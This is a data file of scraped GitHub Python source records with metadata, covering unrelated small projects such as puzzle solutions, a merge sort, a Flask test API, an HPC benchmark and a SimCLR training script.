NotImplementedError()\n clause_list = []\n for v in graph.vs:\n clause_list.append(-(0.5, (v.index,)))\n return clause_list\n","repo_name":"GiggleLiu/QAOA","sub_path":"qaoa/vertex_cover.py","file_name":"vertex_cover.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"82"} +{"seq_id":"23017326132","text":"import sys\n\ndef Hours(min):\n h = 0\n m = 0\n try:\n if min < 0:\n raise ValueError\n else:\n while min >= 60:\n min -= 60\n h += 1\n print(h ,' H,' , min , ' M')\n except ValueError:\n print(\"ValueError:Input number cannot be negative\")\n\nif __name__ == \"__main__\":\n # print(len(sys.argv), \" \" ,len(sys.argv[1]) , \" \",len(sys.argv[0]))\n if len(sys.argv) > 1:\n Hours(int(sys.argv[1]))\n else:\n sys.exit()\n sys.exit(1)\n","repo_name":"mythomasliu/test","sub_path":"MinutersToHours.py","file_name":"MinutersToHours.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29552864132","text":"'''Consider the divisors of 30: 1,2,3,5,6,10,15,30.\r\nIt can be seen that for every divisor d of 30, d+30/d is prime.\r\n\r\nFind the sum of all positive integers n not exceeding 100 000 000\r\nsuch that for every divisor d of n, d+n/d is prime.'''\r\nthreshold = 100000000\r\n\r\n#Dynamic programming since if x div y then y has all of x's factors???\r\ndef factors(n):\r\n\t#generate a set from\r\n\tx = set(x for tup in ([i, n//i] for i in range(1, int(n**0.5)+1) if n % i == 0) for x in tup)\r\n\treturn x\r\n\r\ndef divisorTest(n):\r\n\tdivisors = factors(n)\r\n\tfor d in divisors:\r\n\t\tif (primeTable[d+n//d] == 0):\r\n\t\t\treturn False\r\n\treturn True\r\n\t\r\n\r\ndef primes(n):\r\n \"\"\" Returns a list of primes < n \"\"\"\r\n sieve = [True] * n\r\n for i in xrange(3,int(n**0.5)+1,2):\r\n if sieve[i]:\r\n sieve[i*i::2*i]=[False]*((n-i*i-1)/(2*i)+1)\r\n return [2] + [i for i in xrange(3,n,2) if sieve[i]]\r\n\r\nlistOfPrimes = primes(threshold+threshold//30+1)\r\nprimeTable = [0 for x in range( threshold+threshold//30+1 )]\r\nfor n in listOfPrimes:\r\n\tprimeTable[n] = 1\r\n\r\nresultsTable = []\r\ncount = 1 #account for n=1, all other cases are even\r\nfor x in range(2, threshold+1, 2):\r\n\tif (primeTable[x+1] == 1 and primeTable[x/2+2] == 1):\r\n\t\tif (divisorTest(x) == True):\r\n\t\t\tcount += x\r\nprint (count)","repo_name":"cp1372/Project-Euler-Solutions","sub_path":"problem 357.py","file_name":"problem 357.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17195178816","text":"# 비즈니스 로직 계층\nimport json\nimport aiohttp\nfrom websocket_src.vtuber_service import VtuberService\nimport websockets\n# 토큰 생성\ntoken_create_request = {\n \"apiName\": \"VTubeStudioPublicAPI\",\n \"apiVersion\": \"1.0\",\n \"requestID\": \"Authentication_MAO_01\",\n \"messageType\": \"AuthenticationTokenRequest\",\n \"data\": {\n \"pluginName\": \"MAO_Plugin\",\n \"pluginDeveloper\": \"Mind_of_MAO\",\n \"pluginIcon\": \"\"\n }\n}\nclass VTubeStudioHandler:\n def __init__(self):\n self.clients = set()\n self.vtuber_service = VtuberService()\n self.token = ''\n\n async def connect(self, websocket):\n self.clients.add(websocket)\n print(self.clients)\n\n def disconnect(self, websocket):\n self.clients.remove(websocket)\n\n async def handle_message(self, websocket, message):\n pass\n \n async def call_vtube_api(self):\n request_message = json.dumps(token_create_request)\n\n # VTube Studio API의 실제 엔드포인트 URL로 대체해야 합니다.\n vtube_api_url = \"ws://localhost:8001\"\n async with websockets.connect(vtube_api_url) as websocket:\n await websocket.send(request_message)\n response = await websocket.recv()\n print(f\"response : {response}\")\n return response","repo_name":"JinoPark0714/vtuber_websocket","sub_path":"aiohttp_src/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40105543057","text":"import os\r\nimport sys\r\nimport operator\r\n\r\ndef ranking_answers(file_path, result_path):\r\n print(\"getting answer\")\r\n queries = []\r\n scores = []\r\n with open(file_path) as f:\r\n for _, line in enumerate(f.readlines()):\r\n if _ == 0: continue\r\n line = line.strip().split('\\t')\r\n queries.append((line[1], line[3]))\r\n\r\n with open(result_path) as f:\r\n for line in f.readlines():\r\n scores.append(float(line.split('\\t')[1]))\r\n \r\n answers = dict(zip(queries, scores))\r\n print(sum(answers.values())/len(answers))\r\n answers = sorted(answers.items(), key=operator.itemgetter(1), reverse=True)\r\n # with open('answers.tsv', \"w\") as f:\r\n # for answer in answers:\r\n # f.write(\"{}\\t{}\\t{}\\n\".format(answer[0][0], answer[1], answer[0][1]))\r\n return answers\r\n\r\nif __name__ == '__main__':\r\n ranking_answers(sys.argv[1], sys.argv[2])\r\n","repo_name":"liyucheng09/TREC_CAsT_ECNU-ICA","sub_path":"get_answers.py","file_name":"get_answers.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"7359091679","text":"\"\"\" Performance test using CP2K quantum chemistry and solid state physics software package for atomistic simulations.\n\n See README.md for details.\n\n NB:\n - The executable is either cp2k.popt (for MPI only) or cp2k.psmp (for MPI + OpenMP).\n - Only the former is currently implemented here.\n\"\"\"\n\nimport reframe as rfm\nimport reframe.utility.sanity as sn\nfrom reframe.utility.sanity import defer\nfrom pprint import pprint\nimport sys, os\nfrom collections import namedtuple\nfrom reframe.core.logging import getlogger\nsys.path.append('.')\nfrom modules.reframe_extras import sequence, Scheduler_Info, CachedRunTest\nfrom modules.utils import parse_time_cmd\n# want to use a module supplied as part of the reframe git repo:\nRFM_CP2K_PATH = os.path.join('reframe', 'cscs-checks', 'apps', 'cp2k')\nsys.path.append(RFM_CP2K_PATH)\nfrom cp2k_check import Cp2kCheck as Rfm_Cp2kCheck\n\nnode_seq = sequence(1, Scheduler_Info().num_nodes + 1, 2)\n\n@rfm.parameterized_test(*[[n_nodes] for n_nodes in node_seq])\nclass Cp2k_H2O_256(Rfm_Cp2kCheck):\n\n def __init__(self, num_nodes):\n \n super().__init__()\n \n # override not appropriate values in superclass:\n self.valid_systems = ['*']\n self.valid_prog_environs = ['cp2k']\n self.modules = []\n self.extra_resources = {}\n self.pre_run = ['time \\\\']\n self.executable = 'cp2k.popt'\n self.sourcesdir = os.path.join(os.path.abspath(RFM_CP2K_PATH), 'src')\n\n self.num_nodes = num_nodes\n \n # these are the ones reframe uses:\n self.num_tasks_per_node = Scheduler_Info().pcores_per_node\n self.num_tasks = self.num_nodes * self.num_tasks_per_node\n self.tags = {'num_procs=%i' % self.num_tasks, 'num_nodes=%i' % self.num_nodes}\n \n self.exclusive_access = True\n self.time_limit = None\n \n # sanity patterns defined in superclass\n\n self.perf_patterns = {\n # from cp2k output:\n 'cp2k_time': sn.extractsingle(r'^ CP2K\\s+\\d+\\s+[\\d.]+\\s+[\\d.]+\\s+[\\d.]+\\s+[\\d.]+\\s+([\\d.]+)',\n self.stdout, 1, float), # \"Total Max\" time for CP2K subroutine\n # from `time`:\n 'runtime_real': sn.extractsingle(r'^real\\s+(\\d+m[\\d.]+s)$', self.stderr, 1, parse_time_cmd),\n }\n self.reference = {\n '*': {\n 'cp2k_time': (0, None, None, 's'),\n 'runtime_real': (0, None, None, 's'),\n }\n }","repo_name":"stackhpc/hpc-tests","sub_path":"apps/cp2k/reframe_cp2k.py","file_name":"reframe_cp2k.py","file_ext":"py","file_size_in_byte":2491,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"82"} +{"seq_id":"19417385203","text":"# -*- coding: utf-8 -*-\n# @Time : 2022/1/26 13:07\n# @File : python.py\n# @Description : None\n# ----------------------------------------------\n# ☆ ☆ ☆ ☆ ☆ ☆ ☆ \n# >>> Author : Alex\n# >>> Mail : liu_zhao_feng_alex@163.com\n# >>> Github : https://github.com/koking0\n# >>> Blog : https://alex007.blog.csdn.net/\n# ☆ ☆ ☆ ☆ ☆ ☆ ☆\ndef check(date):\n\tdef is_leap_year(y):\n\t\treturn (y % 4 == 0 and y % 100 != 0) or y % 400 == 0\n\n\tyear = 1900 + date[0] if date[0] > 59 else 2000 + date[0]\n\tdays = [31, 29 if is_leap_year(year) else 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]\n\tif 0 < date[1] < 13:\n\t\tif 0 < date[2] < days[date[1] - 1] + 1:\n\t\t\treturn f\"{year}-{str(date[1]).zfill(2)}-{str(date[2]).zfill(2)}\"\n\n\nif __name__ == '__main__':\n\taa, bb, cc = map(int, input().split('/'))\n\n\tans = set()\n\tif check((aa, bb, cc)):\n\t\tans.add(check((aa, bb, cc)))\n\tif check((cc, aa, bb)):\n\t\tans.add(check((cc, aa, bb)))\n\tif check((cc, bb, aa)):\n\t\tans.add(check((cc, bb, aa)))\n\tans = list(ans)\n\tans.sort()\n\tprint(\"\\n\".join(ans))\n","repo_name":"koking0/Algorithm","sub_path":"BlueBridgeCup/Subject/2017/Province_C_C++_B/7/python.py","file_name":"python.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"82"} +{"seq_id":"5297255014","text":"from django.urls import path\nfrom framework.views import ViewWrapper\nfrom courses.views.course import GetCourseViewFactory\nfrom courses.views.course import GetAllCoursesViewFactory\nfrom courses.views.course import GetAllEnrolledCoursesViewFactory\n\napp_name = 'courses'\n\nurlpatterns = [\n path('course-info//',\n ViewWrapper.as_view(view_factory=GetCourseViewFactory),\n name='course-info'),\n path('all-courses/',\n ViewWrapper.as_view(view_factory=GetAllCoursesViewFactory),\n name='course-info'),\n path('enrolled-courses//',\n ViewWrapper.as_view(view_factory=GetAllEnrolledCoursesViewFactory),\n name='course-info'),\n]","repo_name":"sperea/LMS-Backend-Boilerplate-Django-REST","sub_path":"framework/routers/courses.py","file_name":"courses.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"19632937599","text":"from bots.BaseBot import BaseBot\nimport random\n\nclass DumboBot(BaseBot):\n\n def doMove(self, gameState):\n flippedCards = gameState.flippedCards\n for i in range(len(flippedCards)):\n if(self.isCardINeed(flippedCards[i], gameState)):\n gameState.pickCardByIndex(i)\n return\n\n pick = random.randint(0, len(flippedCards)-1)\n gameState.pickCardByIndex(pick)\n","repo_name":"youngjl1/panama","sub_path":"bots/DumboBot.py","file_name":"DumboBot.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"19316997094","text":"from flask import request, redirect\nfrom flask import current_app, g\nfrom flask.helpers import url_for\nfrom flask.json import jsonify\nfrom werkzeug.exceptions import RequestEntityTooLarge\nfrom herovii.libs.bpbase import ApiBlueprint\nfrom herovii.api.token import auth\nfrom herovii.libs.error_code import ParamException, FileUploadFailed\nfrom herovii.libs.helper import allowed_uploaded_file_type, success_json\nfrom herovii.libs.oss import OssAPI\nfrom herovii.libs.util import get_timestamp_with_random, file_extension, year_month_day\nfrom herovii.cache import cache\n\n__author__ = 'bliss'\n\napi = ApiBlueprint('test')\n\n\n@api.route('/get', methods=['GET'])\ndef test_javascript_http():\n p = request.args.get('name')\n return p, 200\n\n\n# @api.route('/')\n# def nothing():\n# a = current_app.config['ALI_OSS_HOST']\n# s = current_app.config['ALI_OSS_CDN_HOST']\n# return 'ok', 200\n\n@api.route('/redis', methods=['GET'])\n@cache.cached(timeout=60, key_prefix='test')\ndef test_redis_cache():\n return jsonify({'name': 'leilei'}), 200\n\n\n@api.route('', methods=['POST'])\ndef nothing_1():\n return 'ok', 201\n\n\n@api.route('/client-ip', methods=['GET'])\n@cache.cached(timeout=120, key_prefix='client-ip')\ndef test_client_ip():\n r = request.remote_addr\n return r, 200\n\n\n@api.route('/2.6/client-ip', methods=['GET'])\n@cache.cached(timeout=120, key_prefix='client-ip2.6')\ndef test_client_ip_v26():\n r = request.remote_addr\n return r, 200\n\n\n@api.route('/dev/')\ndef test_new_dev(uid):\n s = url_for('test_new_dev', uid=3)\n a = 1/0\n return 'dev is ok', 200\n\n\n@api.route('/redirect')\ndef test_redirect():\n return redirect('http://sina.com')\n\n\n@api.route('/oss', methods=['POST'])\ndef test_oss_put_object():\n try:\n files_list = request.files.lists()\n except RequestEntityTooLarge:\n raise ParamException(error='upload file length is too large',\n error_code=4003, code=413)\n\n for key, files in files_list:\n for file in files:\n allowed = allowed_uploaded_file_type(file.filename)\n if not allowed:\n raise ParamException(error='extension of the file is forbidden for upload',\n error_code=4002, code=403)\n random_name = get_timestamp_with_random() + '.' + file_extension(file.filename)\n f = file.stream\n oss = OssAPI(access_id=current_app.config['ALI_OSS_ID'], is_security=True,\n secret_access_key=current_app.config['ALI_OSS_SECRET'])\n oss_url = year_month_day() + '/' + random_name\n\n try:\n res = oss.put_object_from_fp(current_app.config['ALI_OSS_ORG_BUCKET_NAME'], oss_url, f)\n if res.code == 200:\n continue\n else:\n raise FileUploadFailed()\n except:\n raise FileUploadFailed()\n return success_json()\n\n\n@api.route('/error-log')\ndef test_error_log():\n i = 2/0\n return i, 200\n\n\n@api.route('/auth')\n@auth.login_required\ndef test_auth():\n uid = g.user[0]\n return 'success', 200\n\n\n@api.route('/test')\ndef test_test():\n str1 = request.values.get('echostr')\n return str1\n\n\n@api.route('/user/agent')\ndef test_user_agent():\n str1 = request.headers.get('User-Agent')\n return jsonify({'info': str1}), 200","repo_name":"clownmelody/hisihi_api","sub_path":"herovii/api/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"71001016267","text":"a,b = map(int, input().split())\ntried = (a + b)//3\np = 10**9 +7\n\nif a < tried or b < tried or (a+b)%3 != 0:\n print(0)\n quit()\none = int((2 * a - b)/3)\nn = tried\nr = min(one, tried-one)\nn_fac = 1\nr_fac = 1\nn_r_fac = 1\n\nfor i in range(2,n+1):\n n_fac *= i\n n_fac %= p\nfor i in range(2,r+1):\n r_fac *= i\n r_fac %= p\nfor i in range(2,n-r+1):\n n_r_fac *= i\n n_r_fac %= p\nr_fac_inverse = pow(r_fac, p-2, p)\nn_r_fac_inverse = pow(n_r_fac, p-2, p)\n\nprint((n_fac * r_fac_inverse * n_r_fac_inverse)%p)\n","repo_name":"TogaNakazawa/Algorithm","sub_path":"Atcoder/abc_145_d.py","file_name":"abc_145_d.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36699935719","text":"from aiogram.types import ReplyKeyboardMarkup, KeyboardButton, WebAppInfo\n\nfrom config.config import URL\n\nwebApp = WebAppInfo(url=URL)\n\n\nasync def menuButton():\n markup = ReplyKeyboardMarkup(row_width=1, resize_keyboard=True)\n markup.insert(\n KeyboardButton(text=\"🍽 Menyu\", web_app=webApp)\n )\n return markup","repo_name":"abdulazizashurov/webBot","sub_path":"src/keyboards/replyButtons.py","file_name":"replyButtons.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20604780802","text":"from time import time\nm_counter=0\n#complexity comparison counter\n\n#merge function\n#This merge is different in parameters function is same as the one did in top down\n#list , auxiliary array , low , high indexes , size depending on the iteration of merging i.e. 2 , 4 etc. are being passed\ndef merge(list_,au,l,ls,h,size):\n global m_counter\n i=l\n j=ls\n k=l\n mid=l+size-1# mid is being calculated \n high=l+2*size-1# high value is being calculated\n if(high > h):\n high=h\n #then same as before the two lists low to mid and mid+1 to high are being merged \n while( k <= high):\n \n \n m_counter+=1\n if((i<=mid) and (j <= high)):\n if list_[i] <= list_[j]:\n au[k]=list_[i]\n k=k+1\n i=i+1\n else:\n au[k]=list_[j]\n k=k+1\n j=j+1\n elif(j <= high):\n au[k]=list_[j]\n k=k+1\n j=j+1\n elif(i <= mid):\n au[k]=list_[i]\n k=k+1\n i=i+1\n \n \n \n k=low\n while(k <= high):\n list_[k]=au[k]\n k=k+1\n\n\n return\n\n\n\nif __name__==\"__main__\":\n \n filename=\"data1.1024\"\n file_=open(filename,\"r\")\n lines=file_.readlines()\n data=[]\n aux_=[]\n for line in lines:\n line=line.strip()\n data.append(int(line))\n aux_.append(0)\n\n size=1\n low=0\n high=len(data)-1\n t0 = time()\n while(size < len(data)):\n \n while(low < (len(data)-size)):\n merge(data,aux_,low,low+size,high,size)\n low=low+size*2\n size=size*2\n low=0\n t1 = time() \n print(\"The complexity counter for the top down merge sort for data set of size \",len(data),\"is : \",m_counter)\n print(\"The time taken :\",(t1-t0)*1000,\" ms\")\n print(\"The Sorted Data is as follows :\")\n print(data)\n","repo_name":"vikhyat-dhamija/Algorithms-DSA-Spring-2020","sub_path":"HW2/Q3_b/q3_b.py","file_name":"q3_b.py","file_ext":"py","file_size_in_byte":1901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27660782603","text":"import cv2\nimport numpy as np\nimport os\nfrom os import path\nimport shutil\nimport imutils\n\nglobal_action = \"dev\" #\"train\" or \"dev\"\ndata_root = \"/Users/wdh/Downloads/CASIA-CeFA/%s\"%global_action\n\ndef rect_img(im):\n imgray = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)\n\n ret, thresh = cv2.threshold(imgray,1,255,cv2.THRESH_BINARY)\n\n kernel = np.ones((5,5),np.uint8)\n thresh = cv2.morphologyEx(thresh, cv2.MORPH_OPEN, kernel)\n\n contours = cv2.findContours(thresh, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) # cv2.RETR_EXTERNAL 定义只检测外围轮廓\n cnts = contours[1] if imutils.is_cv3() else contours[0]\n\n cnt = cnts[np.argmax([cv2.contourArea(cnt) for cnt in cnts])]\n\n # 外接矩形框,没有方向角\n x, y, w, h = cv2.boundingRect(cnt)\n return (x,y,w,h)\n\nvideo_list = os.listdir(data_root)\ntotal = len(video_list)\nfor id,video_name in enumerate(video_list[0:]):\n if global_action == \"train\" and video_name[6:] != \"3_1_4\":\n continue\n elif int(video_name) % 2 == 0:\n continue\n\n print(video_name,\"%d / %d\" %(id+1,total))\n video_path = path.join(data_root,video_name)\n\n work_profile = path.join(video_path, \"profile\")\n work_ir = path.join(video_path, \"ir\")\n work_depth = path.join(video_path, \"depth\")\n\n bak_profile = path.join(video_path, \"profile_bak\")\n bak_ir = path.join(video_path, \"ir_bak\")\n bak_depth = path.join(video_path, \"depth_bak\")\n\n # move src to dst\n if not path.exists(bak_profile):\n shutil.move(work_profile, bak_profile)\n if not path.exists(bak_ir):\n shutil.move(work_ir, bak_ir)\n if not path.exists(bak_depth):\n shutil.move(work_depth, bak_depth)\n\n # make new src\n if not path.exists(work_profile):\n os.makedirs(work_profile)\n if not path.exists(work_ir):\n os.makedirs(work_ir)\n if not path.exists(work_depth):\n os.makedirs(work_depth)\n\n image_list = os.listdir(bak_profile)\n #print(image_list,len(image_list))\n for k,image_name in enumerate(image_list[0:]):\n profile = cv2.imread(path.join(bak_profile,image_name))\n ir = cv2.imread(path.join(bak_ir,image_name))\n depth = cv2.imread(path.join(bak_depth,image_name))\n\n profile_h,profile_w = profile.shape[0:2]\n ir_h,ir_w = ir.shape[0:2]\n depth_h,depth_w = depth.shape[0:2]\n\n (x,y,w,h) = rect_img(profile)\n #print(x,y,w,h)\n profile = profile[y:y+h,x:x+w]\n ir = ir[int(y*ir_h/profile_h):int((y+h)*ir_h/profile_h),int(x*ir_w/profile_w):int((x+w)*ir_w/profile_w)]\n depth = depth[int(y*depth_h/profile_h):int((y+h)*depth_h/profile_h),int(x*depth_w/profile_w):int((x+w)*depth_w/profile_w)]\n\n cv2.imwrite(path.join(work_profile,image_name),profile)\n cv2.imwrite(path.join(work_ir,image_name),ir)\n cv2.imwrite(path.join(work_depth,image_name),depth)\n","repo_name":"ZhangTT-race/CVPR2020-SingleModal","sub_path":"cut_face.py","file_name":"cut_face.py","file_ext":"py","file_size_in_byte":2857,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"25904591812","text":"import os\nimport argparse\n\nvboot_dir = \"../_vboot_reference/\"\n\nincludedDirs = [\n vboot_dir + \"host/lib/include\",\n vboot_dir + \"firmware/include/\",\n vboot_dir + \"firmware/lib/cryptolib/include/\",\n vboot_dir + \"firmware/lib/include/\",\n vboot_dir + \"tests\"\n ]\n\ntestFile = \"test_loadfirmware.c\"\n\nincludedFiles = [\n # include file below to do Google's unit test assertions\n# \"test_common.c\",\n\n vboot_dir + \"firmware/stub/utility_stub.c\",\n vboot_dir + \"firmware/lib/vboot_common.c\",\n vboot_dir + \"firmware/lib/vboot_nvstorage.c\",\n vboot_dir + \"firmware/lib/vboot_common_init.c\",\n vboot_dir + \"firmware/lib/crc8.c\",\n# vboot_dir + \"firmware/lib/region-fw.c\",\n vboot_dir + \"firmware/lib/vboot_firmware.c\"\n ]\n\nextras = [\n \"--unwindset Memcpy.0:1050\"\n \" -D NONDET_VARS\",\n \" -D CBMC\",\n ]\n\n# ------------------------------------------------------------\n# Build the Commandline arguments + test\n# ------------------------------------------------------------\nparser = argparse.ArgumentParser(description='Runs and checks loadFirmware. \\n Test arguments are: \\nbounds\\nrollback\\nrollback-rec\\nhash\\nrsa\\ngoogle\\n--malloc')\n\nparser.add_argument('testname', help='Required test name')\nparser.add_argument('--malloc', action='store_true',\n help='Enables memory allocator')\nargs = parser.parse_args()\n\n\nif (args.testname == 'array'):\n extras.append(\"--bounds-check\")\nif (args.testname == 'rollback'):\n extras.append(\"-D ROLLBACK\")\nif (args.testname == 'rollback-rec'):\n extras.append(\"-D ROLLBACK_REC\")\nif (args.testname == 'hash'):\n extras.append(\"-D HASH\")\nif (args.testname == 'rsa'):\n extras.append(\"-D RSA\")\nif (args.testname == 'google'):\n includedFiles.append(\"test_common.c\")\nif (args.malloc):\n extras.append(\"-D MALLOC\")\n\n# ------------------------------------------------------------\n# Build and Run the command\n# ------------------------------------------------------------\n\ncommandString = \"cbmc \"\n\nfor s in includedDirs:\n commandString += \"-I \" + s + \" \"\n\ncommandString += testFile + \" \"\n\nfor s in includedFiles:\n commandString += s + \" \"\n\nfor s in extras:\n commandString += s + \" \"\n\nprint (commandString)\n\nos.system(commandString)\n\n","repo_name":"gilhooleyd/CBMC-Vboot","sub_path":"CBMC/run_loadfirmware.py","file_name":"run_loadfirmware.py","file_ext":"py","file_size_in_byte":2326,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"82"} +{"seq_id":"18064718792","text":"import unittest\n\nimport mock\n\nfrom assembler import Assembler\nfrom microprocessor_simulator import MicroSim\n\n\nclass InputTestCase(unittest.TestCase):\n\n def test_invalid_input(self):\n instance = MicroSim()\n with mock.patch('builtins.input', return_value='input.txt'):\n file = input()\n with self.assertRaises(AssertionError):\n instance.read_obj_file(file)\n\n with mock.patch('builtins.input', return_value='test.asm'):\n file = input()\n asm = Assembler(filename=file)\n with self.assertRaises(FileNotFoundError):\n asm.read_source()\n\n with mock.patch('builtins.input', return_value='input.txt'):\n file = input()\n with self.assertRaises(AssertionError):\n instance.read_obj_file(file)\n\n def test_valid_input(self):\n with mock.patch('builtins.input', return_value=\"input/test.asm\"):\n file = input()\n asm = Assembler(filename=file)\n self.assertEqual(file, asm.filename, 'Filenames do not match')\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"needsguidance/Semref","sub_path":"tests/test_valid_input.py","file_name":"test_valid_input.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"18746246264","text":"#!/usr/bin/env python3 -u\n\nfrom __future__ import print_function\n\nimport argparse\nimport csv\nimport os\nimport json\nimport copy\n\nimport numpy as np\nimport torch\nfrom torch.autograd import Variable\nimport torch.backends.cudnn as cudnn\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport torchvision.transforms as transforms\nimport torchvision.datasets as datasets\n\nimport data_loader\nimport model_loader\nimport models\nfrom models.projector import Projector\n\nfrom argument import parser, print_args\nfrom utils import progress_bar, checkpoint\n\nfrom loss import pairwise_similarity,NT_xent\n\n# Download packages from following git #\n# \"pip install torchlars\" or git from https://github.com/kakaobrain/torchlars, version 0.1.2\n# git from https://github.com/ildoonet/pytorch-gradual-warmup-lr #\nfrom torchlars import LARS\nfrom warmup_scheduler import GradualWarmupScheduler\n\nargs = parser()\nif args.local_rank == 0:\n print_args(args)\n\nstart_epoch = 0 # start from epoch 0 or last checkpoint epoch\n\nif args.seed != 0:\n torch.manual_seed(args.seed)\n\nworld_size = args.ngpu\ntorch.distributed.init_process_group(\n 'nccl',\n init_method='env://',\n world_size=world_size,\n rank=args.local_rank,\n)\n\n# Data\nif args.local_rank == 0:\n print('==> Preparing data..')\ntrainloader, traindst, testloader, testdst ,train_sampler = data_loader.get_dataset(args)\nif args.local_rank == 0:\n print('Number of training data: ', len(traindst))\n\n# Model\nif args.local_rank == 0:\n print('==> Building model..')\ntorch.cuda.set_device(args.local_rank)\nmodel = model_loader.get_model(args)\nif args.model == 'wide_resnet':\n projector = Projector(expansion=0)\nelse:\n projector = Projector(expansion=4)\n\n# Log and saving checkpoint information #\nif not os.path.isdir('results') and args.local_rank % ngpus_per_node == 0:\n os.mkdir('results')\nargs.name += (args.train_type + '_' +args.model + '_' + args.dataset)\nloginfo = 'results/log_' + args.name + '_' + str(args.seed)\nlogname = (loginfo+ '.csv')\n\nif args.local_rank == 0:\n print ('Training info...')\n print (loginfo)\n\n# Model upload to GPU # \nmodel.cuda()\nprojector.cuda()\nmodel = torch.nn.SyncBatchNorm.convert_sync_batchnorm(model)\nmodel = torch.nn.parallel.DistributedDataParallel(\n model,\n device_ids=[args.local_rank],\n output_device=args.local_rank,\n find_unused_parameters=True,\n)\nprojector = torch.nn.parallel.DistributedDataParallel(\n projector,\n device_ids=[args.local_rank],\n output_device=args.local_rank,\n find_unused_parameters=True,\n)\n\nngpus_per_node = torch.cuda.device_count()\nprint(torch.cuda.device_count())\ncudnn.benchmark = True\nprint('Using CUDA..')\n\n# Aggregating model parameter & projection parameter #\nmodel_params = []\nmodel_params += model.parameters()\nmodel_params += projector.parameters()\n\n# LARS optimizer from KAKAO-BRAIN github\n# \"pip install torchlars\" or git from https://github.com/kakaobrain/torchlars\nbase_optimizer = optim.SGD(model_params, lr=args.lr, momentum=0.9, weight_decay=args.decay)\noptimizer = LARS(optimizer=base_optimizer, eps=1e-8, trust_coef=0.001)\n\n# Cosine learning rate annealing (SGDR) & Learning rate warmup #\n# git from https://github.com/ildoonet/pytorch-gradual-warmup-lr #\nscheduler_cosine = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, args.epoch)\nscheduler_warmup = GradualWarmupScheduler(optimizer, multiplier=args.lr_multiplier, total_epoch=10, after_scheduler=scheduler_cosine)\n\ndef train(epoch):\n print('\\nEpoch: %d' % epoch)\n\n scheduler_warmup.step()\n model.train()\n projector.train()\n train_sampler.set_epoch(epoch)\n\n train_loss = 0\n reg_loss = 0\n \n for batch_idx, ((inputs_1, inputs_2), targets) in enumerate(trainloader):\n inputs_1, inputs_2 = inputs_1.cuda() ,inputs_2.cuda()\n inputs = torch.cat((inputs_1,inputs_2))\n\n outputs = projector(model(inputs))\n\n similarity = pairwise_similarity(outputs,temperature=args.temperature) \n loss = NT_xent(similarity)\n\n train_loss += loss.data\n\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n progress_bar(batch_idx, len(trainloader),\n 'Loss: %.3f | Reg: %.5f'\n % (train_loss/(batch_idx+1), reg_loss/(batch_idx+1)))\n\n return (train_loss/batch_idx, reg_loss/batch_idx)\n\n\ndef test(epoch):\n model.eval()\n projector.eval()\n\n test_loss = 0\n\n # Save at the last epoch # \n if epoch == start_epoch + args.epoch - 1 and args.local_rank % ngpus_per_node == 0:\n checkpoint(model, test_loss, epoch, args, optimizer)\n checkpoint(projector, test_loss, epoch, args, optimizer, save_name_add='_projector')\n # Save at every 100 epoch #\n elif epoch > 1 and epoch %100 == 0 and args.local_rank % ngpus_per_node == 0:\n checkpoint(model, test_loss, epoch, args, optimizer, save_name_add='_epoch_'+str(epoch))\n checkpoint(projector, test_loss, epoch, args, optimizer, save_name_add=('_projector_epoch_' + str(epoch)))\n\n return (test_loss)\n\n\n##### Log file #####\nif args.local_rank % ngpus_per_node == 0:\n if os.path.exists(logname):\n os.remove(logname) \n with open(logname, 'w') as logfile:\n logwriter = csv.writer(logfile, delimiter=',')\n logwriter.writerow(['epoch', 'train loss', 'reg loss'])\n\n\n##### Training #####\nfor epoch in range(start_epoch, args.epoch):\n train_loss, reg_loss = train(epoch)\n _ = test(epoch)\n\n if args.local_rank % ngpus_per_node == 0:\n with open(logname, 'a') as logfile:\n logwriter = csv.writer(logfile, delimiter=',')\n logwriter.writerow([epoch, train_loss.item(), reg_loss])\n\n\n","repo_name":"alinlab/OpenCoS","sub_path":"SimCLR/train_contrastive.py","file_name":"train_contrastive.py","file_ext":"py","file_size_in_byte":5826,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"82"} 